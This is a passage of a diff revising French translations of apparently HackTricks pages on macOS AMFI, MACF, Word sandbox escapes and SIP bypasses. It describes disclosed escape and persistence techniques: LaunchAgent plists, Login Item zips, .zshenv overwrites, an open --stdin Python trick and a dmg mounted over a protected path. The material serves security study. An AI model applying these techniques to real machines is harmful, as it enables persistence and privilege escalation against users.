+- **`amfi_exc_action_check_exception_send`**: Un message d'exception est envoyé au débogueur
+- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Cycle de vie de l'étiquette lors du traitement des exceptions (débogage)
+- **`proc_check_get_task`**: Vérifie les droits comme `get-task-allow` qui permet à d'autres processus d'obtenir le port des tâches et `task_for_pid-allow`, qui permet au processus d'obtenir les ports des tâches d'autres processus. Si aucun de ceux-ci, il appelle `amfid permitunrestricteddebugging` pour vérifier si c'est autorisé.
+- **`proc_check_mprotect`**: Refuser si `mprotect` est appelé avec le drapeau `VM_PROT_TRUSTED` qui indique que la région doit être traitée comme si elle avait une signature de code valide.
+- **`vnode_check_exec`**: Est appelé lorsque des fichiers exécutables sont chargés en mémoire et définit `cs_hard | cs_kill` qui tuera le processus si l'une des pages devient invalide
+- **`vnode_check_getextattr`**: MacOS: Vérifie `com.apple.root.installed` et `isVnodeQuarantined()`
+- **`vnode_check_setextattr`**: Comme get + com.apple.private.allow-bless et droit équivalent d'installateur interne
+- **`vnode_check_signature`**: Code qui appelle XNU pour vérifier la signature de code en utilisant des droits, un cache de confiance et `amfid`
+- **`proc_check_run_cs_invalid`**: Il intercepte les appels `ptrace()` (`PT_ATTACH` et `PT_TRACE_ME`). Il vérifie pour l'un des droits `get-task-allow`, `run-invalid-allow` et `run-unsigned-code` et si aucun, il vérifie si le débogage est autorisé.
+- **`proc_check_map_anon`**: Si mmap est appelé avec le drapeau **`MAP_JIT`**, AMFI vérifiera le droit `dynamic-codesigning`.
 
-`AMFI.kext` expose également une API pour d'autres extensions du noyau, et il est possible de trouver ses dépendances avec :
+`AMFI.kext` expose également une API pour d'autres extensions de noyau, et il est possible de trouver ses dépendances avec :
 ```bash
 kextstat | grep " 19 " | cut -c2-5,50- | cut -d '(' -f1
 Executing: /usr/bin/kmutil showloaded
@@ -74,11 +74,11 @@ Il est possible de voir quand `amfid` est demandé pour vérifier un binaire et
 
 Une fois qu'un message est reçu via le port spécial, **MIG** est utilisé pour envoyer chaque fonction à la fonction qu'il appelle. Les principales fonctions ont été inversées et expliquées dans le livre.
 
-## Profils de Provisioning
+## Provisioning Profiles
 
-Un profil de provisioning peut être utilisé pour signer du code. Il existe des profils **Développeur** qui peuvent être utilisés pour signer du code et le tester, et des profils **Entreprise** qui peuvent être utilisés sur tous les appareils.
+Un profil de provisionnement peut être utilisé pour signer du code. Il existe des profils **Developer** qui peuvent être utilisés pour signer du code et le tester, et des profils **Enterprise** qui peuvent être utilisés sur tous les appareils.
 
-Après qu'une application soit soumise à l'Apple Store, si elle est approuvée, elle est signée par Apple et le profil de provisioning n'est plus nécessaire.
+Après qu'une application soit soumise à l'Apple Store, si elle est approuvée, elle est signée par Apple et le profil de provisionnement n'est plus nécessaire.
 
 Un profil utilise généralement l'extension `.mobileprovision` ou `.provisionprofile` et peut être extrait avec :
 ```bash
@@ -94,13 +94,13 @@ Bien que parfois appelés certifiés, ces profils de provisioning ont plus qu'un
 - **AppleInternalProfile :** Désigne ceci comme un profil interne à Apple
 - **ApplicationIdentifierPrefix :** Préfixé à AppIDName (identique à TeamIdentifier)
 - **CreationDate :** Date au format `YYYY-MM-DDTHH:mm:ssZ`
-- **DeveloperCertificates :** Un tableau de (généralement un) certificat(s), encodé en données Base64
+- **DeveloperCertificates :** Un tableau de certificat(s) (généralement un), encodé en données Base64
 - **Entitlements :** Les droits autorisés avec les droits pour ce profil
 - **ExpirationDate :** Date d'expiration au format `YYYY-MM-DDTHH:mm:ssZ`
 - **Name :** Le nom de l'application, identique à AppIDName
 - **ProvisionedDevices :** Un tableau (pour les certificats de développeur) de UDIDs pour lesquels ce profil est valide
 - **ProvisionsAllDevices :** Un booléen (vrai pour les certificats d'entreprise)
-- **TeamIdentifier :** Un tableau de (généralement un) ou plusieurs chaînes alphanumériques utilisées pour identifier le développeur à des fins d'interaction entre applications
+- **TeamIdentifier :** Un tableau de chaîne(s) alphanumérique(s) (généralement une) utilisée(s) pour identifier le développeur à des fins d'interaction entre applications
 - **TeamName :** Un nom lisible par l'homme utilisé pour identifier le développeur
 - **TimeToLive :** Validité (en jours) du certificat
 - **UUID :** Un identifiant unique universel pour ce profil

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-macf-mandatory-access-control-framework.md

@@ -6,7 +6,7 @@
 
 **MACF** signifie **Mandatory Access Control Framework**, qui est un système de sécurité intégré au système d'exploitation pour aider à protéger votre ordinateur. Il fonctionne en établissant **des règles strictes sur qui ou quoi peut accéder à certaines parties du système**, telles que des fichiers, des applications et des ressources système. En appliquant automatiquement ces règles, MACF garantit que seuls les utilisateurs et processus autorisés peuvent effectuer des actions spécifiques, réduisant ainsi le risque d'accès non autorisé ou d'activités malveillantes.
 
-Notez que MACF ne prend pas vraiment de décisions car il **intercepte** simplement les actions, laissant les décisions aux **modules de politique** (extensions du noyau) qu'il appelle comme `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` et `mcxalr.kext`.
+Notez que MACF ne prend pas vraiment de décisions, car il **intercepte** simplement les actions, laissant les décisions aux **modules de politique** (extensions du noyau) qu'il appelle comme `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext`, `TMSafetyNet.kext` et `mcxalr.kext`.
 
 ### Flux
 
@@ -22,11 +22,11 @@ Notez que MACF ne prend pas vraiment de décisions car il **intercepte** simplem
 
 ### Étiquettes
 
-MACF utilise des **étiquettes** que les politiques utiliseront ensuite pour vérifier si elles doivent accorder un accès ou non. Le code de la déclaration de structure des étiquettes peut être [trouvé ici](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), qui est ensuite utilisé à l'intérieur de la **`struct ucred`** dans [**ici**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) dans la partie **`cr_label`**. L'étiquette contient des indicateurs et un nombre de **slots** qui peuvent être utilisés par **les politiques MACF pour allouer des pointeurs**. Par exemple, Sanbox pointera vers le profil du conteneur.
+MACF utilise des **étiquettes** que les politiques vérifieront ensuite pour déterminer si elles doivent accorder un accès ou non. Le code de la déclaration de structure des étiquettes peut être [trouvé ici](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/_label.h), qui est ensuite utilisé à l'intérieur de la **`struct ucred`** dans [**ici**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/ucred.h#L86) dans la partie **`cr_label`**. L'étiquette contient des indicateurs et un nombre de **slots** qui peuvent être utilisés par **les politiques MACF pour allouer des pointeurs**. Par exemple, Sanbox pointera vers le profil du conteneur.
 
 ## Politiques MACF
 
-Une politique MACF définit **des règles et des conditions à appliquer dans certaines opérations du noyau**. 
+Une politique MACF définit **des règles et des conditions à appliquer dans certaines opérations du noyau**.
 
 Une extension de noyau pourrait configurer une structure `mac_policy_conf` puis l'enregistrer en appelant `mac_policy_register`. À partir de [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
 ```c
@@ -67,9 +67,9 @@ void			*mpc_data;		/** module data */
 ```
 Il est facile d'identifier les extensions du noyau configurant ces politiques en vérifiant les appels à `mac_policy_register`. De plus, en vérifiant le désassemblage de l'extension, il est également possible de trouver la structure `mac_policy_conf` utilisée.
 
-Notez que les politiques MACF peuvent être enregistrées et désenregistrées également **dynamiquement**.
+Notez que les politiques MACF peuvent également être enregistrées et désenregistrées **dynamiquement**.
 
-L'un des principaux champs de la `mac_policy_conf` est le **`mpc_ops`**. Ce champ spécifie quelles opérations la politique intéresse. Notez qu'il y en a des centaines, il est donc possible de les mettre toutes à zéro puis de sélectionner uniquement celles qui intéressent la politique. D' [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
+L'un des principaux champs de la `mac_policy_conf` est le **`mpc_ops`**. Ce champ spécifie les opérations qui intéressent la politique. Notez qu'il y en a des centaines, il est donc possible de les mettre toutes à zéro et ensuite de sélectionner uniquement celles qui intéressent la politique. D'après [ici](https://opensource.apple.com/source/xnu/xnu-2050.18.24/security/mac_policy.h.auto.html):
 ```c
 struct mac_policy_ops {
 mpo_audit_check_postselect_t		*mpo_audit_check_postselect;
@@ -84,10 +84,10 @@ mpo_cred_check_label_update_t		*mpo_cred_check_label_update;
 ```
 Presque tous les hooks seront rappelés par MACF lorsque l'une de ces opérations est interceptée. Cependant, les hooks **`mpo_policy_*`** sont une exception car `mpo_hook_policy_init()` est un rappel appelé lors de l'enregistrement (donc après `mac_policy_register()`) et `mpo_hook_policy_initbsd()` est appelé lors de l'enregistrement tardif une fois que le sous-système BSD a été correctement initialisé.
 
-De plus, le hook **`mpo_policy_syscall`** peut être enregistré par n'importe quel kext pour exposer un appel de style **ioctl** **interface** privée. Ensuite, un client utilisateur pourra appeler `mac_syscall` (#381) en spécifiant comme paramètres le **nom de la politique** avec un **code** entier et des **arguments** optionnels.\
+De plus, le hook **`mpo_policy_syscall`** peut être enregistré par n'importe quel kext pour exposer une interface d'appel de style **ioctl** privée. Ensuite, un client utilisateur pourra appeler `mac_syscall` (#381) en spécifiant comme paramètres le **nom de la politique** avec un **code** entier et des **arguments** optionnels.\
 Par exemple, le **`Sandbox.kext`** utilise cela beaucoup.
 
-Vérifier le **`__DATA.__const*`** du kext permet d'identifier la structure `mac_policy_ops` utilisée lors de l'enregistrement de la politique. Il est possible de la trouver car son pointeur est à un décalage à l'intérieur de `mpo_policy_conf` et aussi à cause du nombre de pointeurs NULL qui seront dans cette zone.
+Vérifier le **`__DATA.__const*`** du kext permet d'identifier la structure `mac_policy_ops` utilisée lors de l'enregistrement de la politique. Il est possible de la trouver car son pointeur se trouve à un décalage à l'intérieur de `mpo_policy_conf` et aussi à cause du nombre de pointeurs NULL qui seront dans cette zone.
 
 De plus, il est également possible d'obtenir la liste des kexts qui ont configuré une politique en vidant de la mémoire la structure **`_mac_policy_list`** qui est mise à jour avec chaque politique qui est enregistrée.
 
@@ -95,12 +95,12 @@ De plus, il est également possible d'obtenir la liste des kexts qui ont configu
 
 MACF est initialisé très tôt. Il est configuré dans le `bootstrap_thread` de XNU : après `ipc_bootstrap`, un appel à `mac_policy_init()` qui initialise la `mac_policy_list` et quelques instants plus tard `mac_policy_initmach()` est appelé. Parmi d'autres choses, cette fonction obtiendra tous les kexts Apple avec la clé `AppleSecurityExtension` dans leur Info.plist comme `ALF.kext`, `AppleMobileFileIntegrity.kext`, `Quarantine.kext`, `Sandbox.kext` et `TMSafetyNet.kext` et les charge.
 
-## Appels de MACF
+## Appels MACF
 
-Il est courant de trouver des appels à MACF définis dans le code comme : **`#if CONFIG_MAC`** blocs conditionnels. De plus, à l'intérieur de ces blocs, il est possible de trouver des appels à `mac_proc_check*` qui appelle MACF pour **vérifier les permissions** pour effectuer certaines actions. De plus, le format des appels de MACF est : **`mac_<object>_<opType>_opName`**.
+Il est courant de trouver des appels à MACF définis dans le code comme : **`#if CONFIG_MAC`** blocs conditionnels. De plus, à l'intérieur de ces blocs, il est possible de trouver des appels à `mac_proc_check*` qui appelle MACF pour **vérifier les permissions** pour effectuer certaines actions. De plus, le format des appels MACF est : **`mac_<object>_<opType>_opName`**.
 
 L'objet est l'un des suivants : `bpfdesc`, `cred`, `file`, `proc`, `vnode`, `mount`, `devfs`, `ifnet`, `inpcb`, `mbuf`, `ipq`, `pipe`, `sysv[msg/msq/shm/sem]`, `posix[shm/sem]`, `socket`, `kext`.\
-Le `opType` est généralement check qui sera utilisé pour autoriser ou refuser l'action. Cependant, il est également possible de trouver `notify`, ce qui permettra au kext de réagir à l'action donnée.
+Le `opType` est généralement check qui sera utilisé pour autoriser ou refuser l'action. Cependant, il est également possible de trouver notify, ce qui permettra au kext de réagir à l'action donnée.
 
 Vous pouvez trouver un exemple dans [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_mman.c#L621):
 
@@ -111,7 +111,7 @@ mmap(proc_t p, struct mmap_args *uap, user_addr_t *retval)
 #if CONFIG_MACF
 <strong>			error = mac_file_check_mmap(vfs_context_ucred(ctx),
 </strong>			    fp->fp_glob, prot, flags, file_pos + pageoff,
-&#x26;maxprot);
+&maxprot);
 if (error) {
 (void)vnode_put(vp);
 goto bad;
@@ -137,7 +137,7 @@ panic("file_check_mmap increased max protections");
 return error;
 }
 ```
-Qui appelle le macro `MAC_CHECK`, dont le code peut être trouvé dans [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261)
+Qui appelle la macro `MAC_CHECK`, dont le code peut être trouvé dans [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L261)
 ```c
 /*
 * MAC_CHECK performs the designated check by walking the policy
@@ -164,8 +164,8 @@ Qui passera en revue toutes les politiques mac enregistrées en appelant leurs f
 >
 > ```c
 > /*
->  * MAC_GRANT effectue la vérification désignée en parcourant la liste des
->  * modules de politique et en vérifiant avec chacun ce qu'il pense de la
+>  * MAC_GRANT effectue la vérification désignée en parcourant la liste des modules de politique
+>  * et en vérifiant avec chacun d'eux ce qu'il en pense de la
 >  * demande. Contrairement à MAC_CHECK, il accorde si des politiques retournent '0',
 >  * et retourne sinon EPERM. Notez qu'il retourne sa valeur via
 >  * 'error' dans le contexte de l'appelant.

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/macos-office-sandbox-bypasses.md

@@ -4,7 +4,7 @@
 
 ### Contournement du Sandbox Word via les Agents de Lancement
 
-L'application utilise un **Sandbox personnalisé** avec le droit **`com.apple.security.temporary-exception.sbpl`** et ce sandbox personnalisé permet d'écrire des fichiers n'importe où tant que le nom de fichier commence par `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
+L'application utilise un **Sandbox personnalisé** avec le droit **`com.apple.security.temporary-exception.sbpl`** et ce sandbox personnalisé permet d'écrire des fichiers n'importe où tant que le nom du fichier commence par `~$`: `(require-any (require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~$[^/]+$")))`
 
 Par conséquent, l'évasion était aussi simple que **d'écrire un `plist`** LaunchAgent dans `~/Library/LaunchAgents/~$escape.plist`.
 
@@ -14,7 +14,7 @@ Consultez le [**rapport original ici**](https://www.mdsec.co.uk/2018/08/escaping
 
 Rappelez-vous qu'à partir de la première évasion, Word peut écrire des fichiers arbitraires dont le nom commence par `~$`, bien qu'après le correctif de la vulnérabilité précédente, il n'était pas possible d'écrire dans `/Library/Application Scripts` ou dans `/Library/LaunchAgents`.
 
-Il a été découvert que depuis le sandbox, il est possible de créer un **Élément de Connexion** (applications qui seront exécutées lorsque l'utilisateur se connecte). Cependant, ces applications **ne s'exécuteront pas** à moins qu'elles ne soient **notariées** et il est **impossible d'ajouter des arguments** (vous ne pouvez donc pas simplement exécuter un shell inversé en utilisant **`bash`**).
+Il a été découvert que depuis le sandbox, il est possible de créer un **Élément de Connexion** (applications qui seront exécutées lorsque l'utilisateur se connecte). Cependant, ces applications **ne s'exécuteront pas à moins** qu'elles ne soient **notariées** et il est **impossible d'ajouter des arguments** (vous ne pouvez donc pas simplement exécuter un shell inversé en utilisant **`bash`**).
 
 À partir du contournement précédent du Sandbox, Microsoft a désactivé l'option d'écrire des fichiers dans `~/Library/LaunchAgents`. Cependant, il a été découvert que si vous mettez un **fichier zip comme Élément de Connexion**, l'`Archive Utility` va simplement **dézipper** à son emplacement actuel. Donc, parce que par défaut le dossier `LaunchAgents` de `~/Library` n'est pas créé, il était possible de **zipper un plist dans `LaunchAgents/~$escape.plist`** et **placer** le fichier zip dans **`~/Library`** afin que lors de la décompression, il atteigne la destination de persistance.
 
@@ -26,7 +26,7 @@ Consultez le [**rapport original ici**](https://objective-see.org/blog/blog_0x4B
 
 Cependant, la technique précédente avait une limitation, si le dossier **`~/Library/LaunchAgents`** existe parce qu'un autre logiciel l'a créé, cela échouerait. Donc, une chaîne d'Éléments de Connexion différente a été découverte pour cela.
 
-Un attaquant pourrait créer les fichiers **`.bash_profile`** et **`.zshenv`** avec le payload à exécuter, puis les zipper et **écrire le zip dans le dossier** de l'utilisateur victime : **`~/~$escape.zip`**.
+Un attaquant pourrait créer les fichiers **`.bash_profile`** et **`.zshenv`** avec le payload à exécuter, puis les zipper et **écrire le zip dans le dossier de l'utilisateur de la victime**: **`~/~$escape.zip`**.
 
 Ensuite, ajoutez le fichier zip aux **Éléments de Connexion** et ensuite à l'application **`Terminal`**. Lorsque l'utilisateur se reconnecte, le fichier zip serait décompressé dans le dossier de l'utilisateur, écrasant **`.bash_profile`** et **`.zshenv`** et donc, le terminal exécutera l'un de ces fichiers (selon que bash ou zsh est utilisé).
 
@@ -44,7 +44,7 @@ Consultez le [**rapport original ici**](https://perception-point.io/blog/technic
 
 L'utilitaire **`open`** supportait également le paramètre **`--stdin`** (et après le contournement précédent, il n'était plus possible d'utiliser `--env`).
 
-Le fait est que même si **`python`** était signé par Apple, il **n'exécutera pas** un script avec l'attribut **`quarantine`**. Cependant, il était possible de lui passer un script depuis stdin afin qu'il ne vérifie pas s'il était mis en quarantaine ou non : 
+Le fait est que même si **`python`** était signé par Apple, il **n'exécutera pas** un script avec l'attribut **`quarantine`**. Cependant, il était possible de lui passer un script depuis stdin afin qu'il ne vérifie pas s'il était mis en quarantaine ou non :
 
 1. Déposez un fichier **`~$exploit.py`** avec des commandes Python arbitraires.
 2. Exécutez _open_ **`–stdin='~$exploit.py' -a Python`**, ce qui exécute l'application Python avec notre fichier déposé servant d'entrée standard. Python exécute joyeusement notre code, et comme c'est un processus enfant de _launchd_, il n'est pas soumis aux règles du sandbox de Word.

src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md

@@ -4,7 +4,7 @@
 
 ## **Informations de base**
 
-**System Integrity Protection (SIP)** dans macOS est un mécanisme conçu pour empêcher même les utilisateurs les plus privilégiés d'apporter des modifications non autorisées aux dossiers système clés. Cette fonctionnalité joue un rôle crucial dans le maintien de l'intégrité du système en restreignant des actions telles que l'ajout, la modification ou la suppression de fichiers dans des zones protégées. Les principaux dossiers protégés par le SIP incluent :
+**System Integrity Protection (SIP)** dans macOS est un mécanisme conçu pour empêcher même les utilisateurs les plus privilégiés de faire des modifications non autorisées dans des dossiers système clés. Cette fonctionnalité joue un rôle crucial dans le maintien de l'intégrité du système en restreignant des actions telles que l'ajout, la modification ou la suppression de fichiers dans des zones protégées. Les principaux dossiers protégés par le SIP incluent :
 
 - **/System**
 - **/bin**
@@ -112,7 +112,7 @@ Une faille potentielle est que si un fichier est spécifié dans **`rootless.con
 
 #### [CVE-2019-8561](https://objective-see.org/blog/blog_0x42.html) <a href="#cve" id="cve"></a>
 
-Il a été découvert qu'il était possible de **changer le paquet d'installation après que le système ait vérifié sa signature** de code et ensuite, le système installerait le paquet malveillant au lieu de l'original. Comme ces actions étaient effectuées par **`system_installd`**, cela permettrait de contourner SIP.
+Il a été découvert qu'il était possible de **échanger le paquet d'installation après que le système ait vérifié sa signature** de code et ensuite, le système installerait le paquet malveillant au lieu de l'original. Comme ces actions étaient effectuées par **`system_installd`**, cela permettrait de contourner SIP.
 
 #### [CVE-2020–9854](https://objective-see.org/blog/blog_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
 
@@ -124,13 +124,13 @@ Si un paquet était installé à partir d'une image montée ou d'un disque exter
 
 Le démon **`system_installd`** installera des paquets qui ont été signés par **Apple**.
 
-Les chercheurs ont découvert que lors de l'installation d'un paquet signé par Apple (.pkg), **`system_installd`** **exécute** tous les scripts **post-installation** inclus dans le paquet. Ces scripts sont exécutés par le shell par défaut, **`zsh`**, qui exécute automatiquement **des commandes** à partir du fichier **`/etc/zshenv`**, s'il existe, même en mode non interactif. Ce comportement pourrait être exploité par des attaquants : en créant un fichier `/etc/zshenv` malveillant et en attendant que **`system_installd` invoque `zsh`**, ils pourraient effectuer des opérations arbitraires sur l'appareil.
+Les chercheurs ont découvert que lors de l'installation d'un paquet signé par Apple (.pkg), **`system_installd`** **exécute** tous les **scripts post-installation** inclus dans le paquet. Ces scripts sont exécutés par le shell par défaut, **`zsh`**, qui exécute automatiquement **les commandes du fichier** **`/etc/zshenv`**, s'il existe, même en mode non interactif. Ce comportement pourrait être exploité par des attaquants : en créant un fichier `/etc/zshenv` malveillant et en attendant que **`system_installd` invoque `zsh`**, ils pourraient effectuer des opérations arbitraires sur l'appareil.
 
-De plus, il a été découvert que **`/etc/zshenv` pourrait être utilisé comme une technique d'attaque générale**, pas seulement pour un contournement de SIP. Chaque profil utilisateur a un fichier `~/.zshenv`, qui se comporte de la même manière que `/etc/zshenv` mais ne nécessite pas de permissions root. Ce fichier pourrait être utilisé comme un mécanisme de persistance, se déclenchant chaque fois que `zsh` démarre, ou comme un mécanisme d'élévation de privilèges. Si un utilisateur admin s'élève à root en utilisant `sudo -s` ou `sudo <command>`, le fichier `~/.zshenv` serait déclenché, élevant effectivement les privilèges à root.
+De plus, il a été découvert que **`/etc/zshenv` pourrait être utilisé comme une technique d'attaque générale**, pas seulement pour un contournement de SIP. Chaque profil utilisateur a un fichier `~/.zshenv`, qui se comporte de la même manière que `/etc/zshenv` mais ne nécessite pas de permissions root. Ce fichier pourrait être utilisé comme un mécanisme de persistance, se déclenchant chaque fois que `zsh` démarre, ou comme un mécanisme d'élévation de privilèges. Si un utilisateur admin s'élève à root en utilisant `sudo -s` ou `sudo <commande>`, le fichier `~/.zshenv` serait déclenché, élevant effectivement à root.
 
 #### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
 
-Dans [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/), il a été découvert que le même processus **`system_installd`** pouvait encore être abusé car il plaçait le **script post-installation à l'intérieur d'un dossier nommé aléatoirement protégé par SIP à l'intérieur de `/tmp`**. Le fait est que **`/tmp` lui-même n'est pas protégé par SIP**, donc il était possible de **monter** une **image virtuelle dessus**, puis l'**installateur** y placerait le **script post-installation**, **démonterait** l'image virtuelle, **recréerait** tous les **dossiers** et **ajouterait** le **script de post-installation** avec la **charge utile** à exécuter.
+Dans [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/), il a été découvert que le même processus **`system_installd`** pouvait encore être abusé car il plaçait le **script post-installation à l'intérieur d'un dossier nommé aléatoirement protégé par SIP à l'intérieur de `/tmp`**. Le fait est que **`/tmp` lui-même n'est pas protégé par SIP**, donc il était possible de **monter** une **image virtuelle dessus**, puis l'**installateur** y mettrait le **script post-installation**, **démonterait** l'image virtuelle, **recréerait** tous les **dossiers** et **ajouterait** le **script post-installation** avec la **charge utile** à exécuter.
 
 #### [fsck_cs utility](https://www.theregister.com/2016/03/30/apple_os_x_rootless/)
 
@@ -154,7 +154,7 @@ mkdir evil
 hdiutil create -srcfolder evil evil.dmg
 hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
 ```
-#### [Bypass de l'upgrader (2016)](https://objective-see.org/blog/blog_0x14.html)
+#### [Bypass de mise à niveau (2016)](https://objective-see.org/blog/blog_0x14.html)
 
 Le système est configuré pour démarrer à partir d'une image disque d'installateur intégrée dans le `Install macOS Sierra.app` pour mettre à niveau le système d'exploitation, en utilisant l'utilitaire `bless`. La commande utilisée est la suivante :
 ```bash
@@ -162,21 +162,21 @@ Le système est configuré pour démarrer à partir d'une image disque d'install
 ```
 La sécurité de ce processus peut être compromise si un attaquant modifie l'image de mise à niveau (`InstallESD.dmg`) avant le démarrage. La stratégie consiste à substituer un chargeur dynamique (dyld) par une version malveillante (`libBaseIA.dylib`). Ce remplacement entraîne l'exécution du code de l'attaquant lorsque l'installateur est lancé.
 
-Le code de l'attaquant prend le contrôle pendant le processus de mise à niveau, exploitant la confiance du système dans l'installateur. L'attaque se poursuit en modifiant l'image `InstallESD.dmg` via la méthode swizzling, ciblant particulièrement la méthode `extractBootBits`. Cela permet l'injection de code malveillant avant que l'image disque ne soit utilisée.
+Le code de l'attaquant prend le contrôle pendant le processus de mise à niveau, exploitant la confiance du système dans l'installateur. L'attaque se poursuit en modifiant l'image `InstallESD.dmg` via le swizzling de méthode, ciblant particulièrement la méthode `extractBootBits`. Cela permet l'injection de code malveillant avant que l'image disque ne soit utilisée.
 
-De plus, au sein de `InstallESD.dmg`, il y a un `BaseSystem.dmg`, qui sert de système de fichiers racine pour le code de mise à niveau. Injecter une bibliothèque dynamique dans cela permet au code malveillant de fonctionner dans un processus capable de modifier des fichiers au niveau du système d'exploitation, augmentant considérablement le potentiel de compromission du système.
+De plus, au sein de `InstallESD.dmg`, il y a un `BaseSystem.dmg`, qui sert de système de fichiers racine pour le code de mise à niveau. L'injection d'une bibliothèque dynamique dans cela permet au code malveillant de fonctionner dans un processus capable de modifier des fichiers au niveau du système d'exploitation, augmentant considérablement le potentiel de compromission du système.
 
 #### [systemmigrationd (2023)](https://www.youtube.com/watch?v=zxZesAN-TEk)
 
-Dans cette présentation de [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), il est montré comment **`systemmigrationd`** (qui peut contourner SIP) exécute un **bash** et un **perl** script, qui peuvent être abusés via des variables d'environnement **`BASH_ENV`** et **`PERL5OPT`**.
+Dans cette présentation de [**DEF CON 31**](https://www.youtube.com/watch?v=zxZesAN-TEk), il est montré comment **`systemmigrationd`** (qui peut contourner SIP) exécute un **bash** et un **perl** script, qui peuvent être abusés via les variables d'environnement **`BASH_ENV`** et **`PERL5OPT`**.
 
 #### CVE-2023-42860 <a href="#cve-a-detailed-look" id="cve-a-detailed-look"></a>
 
-Comme [**détaillé dans cet article de blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), un script `postinstall` provenant des paquets `InstallAssistant.pkg` permettait d'exécuter :
+Comme [**détaillé dans cet article de blog**](https://blog.kandji.io/apple-mitigates-vulnerabilities-installer-scripts), un script `postinstall` des paquets `InstallAssistant.pkg` permettait d'exécuter :
 ```bash
 /usr/bin/chflags -h norestricted "${SHARED_SUPPORT_PATH}/SharedSupport.dmg"
 ```
-et il était possible de créer un symlink dans `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` qui permettrait à un utilisateur de **déverrouiller n'importe quel fichier, contournant la protection SIP**.
+et il était possible de créer un lien symbolique dans `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` qui permettrait à un utilisateur de **déverrouiller n'importe quel fichier, contournant la protection SIP**.
 
 ### **com.apple.rootless.install**
 
@@ -189,12 +189,12 @@ Dans ce cas spécifique, le service XPC du système situé à `/System/Library/P
 
 ## Instantanés de Système Scellés
 
-Les Instantanés de Système Scellés sont une fonctionnalité introduite par Apple dans **macOS Big Sur (macOS 11)** dans le cadre de son mécanisme de **Protection de l'Intégrité du Système (SIP)** pour fournir une couche de sécurité et de stabilité supplémentaire. Ce sont essentiellement des versions en lecture seule du volume système.
+Les Instantanés de Système Scellés sont une fonctionnalité introduite par Apple dans **macOS Big Sur (macOS 11)** dans le cadre de son mécanisme de **Protection de l'Intégrité du Système (SIP)** pour fournir une couche de sécurité et de stabilité supplémentaire. Ils sont essentiellement des versions en lecture seule du volume système.
 
 Voici un aperçu plus détaillé :
 
-1. **Système Immutable** : Les Instantanés de Système Scellés rendent le volume système macOS "immutable", ce qui signifie qu'il ne peut pas être modifié. Cela empêche tout changement non autorisé ou accidentel au système qui pourrait compromettre la sécurité ou la stabilité du système.
-2. **Mises à jour du Logiciel Système** : Lorsque vous installez des mises à jour ou des upgrades de macOS, macOS crée un nouvel instantané système. Le volume de démarrage de macOS utilise ensuite **APFS (Apple File System)** pour passer à ce nouvel instantané. L'ensemble du processus d'application des mises à jour devient plus sûr et plus fiable, car le système peut toujours revenir à l'instantané précédent si quelque chose ne va pas pendant la mise à jour.
+1. **Système Immutable** : Les Instantanés de Système Scellés rendent le volume système macOS "immutable", ce qui signifie qu'il ne peut pas être modifié. Cela empêche toute modification non autorisée ou accidentelle du système qui pourrait compromettre la sécurité ou la stabilité du système.
+2. **Mises à jour du Logiciel Système** : Lorsque vous installez des mises à jour ou des mises à niveau de macOS, macOS crée un nouvel instantané système. Le volume de démarrage macOS utilise ensuite **APFS (Apple File System)** pour passer à ce nouvel instantané. L'ensemble du processus d'application des mises à jour devient plus sûr et plus fiable, car le système peut toujours revenir à l'instantané précédent si quelque chose ne va pas pendant la mise à jour.
 3. **Séparation des Données** : En conjonction avec le concept de séparation des volumes de Données et de Système introduit dans macOS Catalina, la fonctionnalité d'Instantané de Système Scellé garantit que toutes vos données et paramètres sont stockés sur un volume "**Données**" séparé. Cette séparation rend vos données indépendantes du système, ce qui simplifie le processus de mises à jour du système et améliore la sécurité du système.
 
 N'oubliez pas que ces instantanés sont gérés automatiquement par macOS et ne prennent pas d'espace supplémentaire sur votre disque, grâce aux capacités de partage d'espace d'APFS. Il est également important de noter que ces instantanés sont différents des **instantanés de Time Machine**, qui sont des sauvegardes accessibles par l'utilisateur de l'ensemble du système.
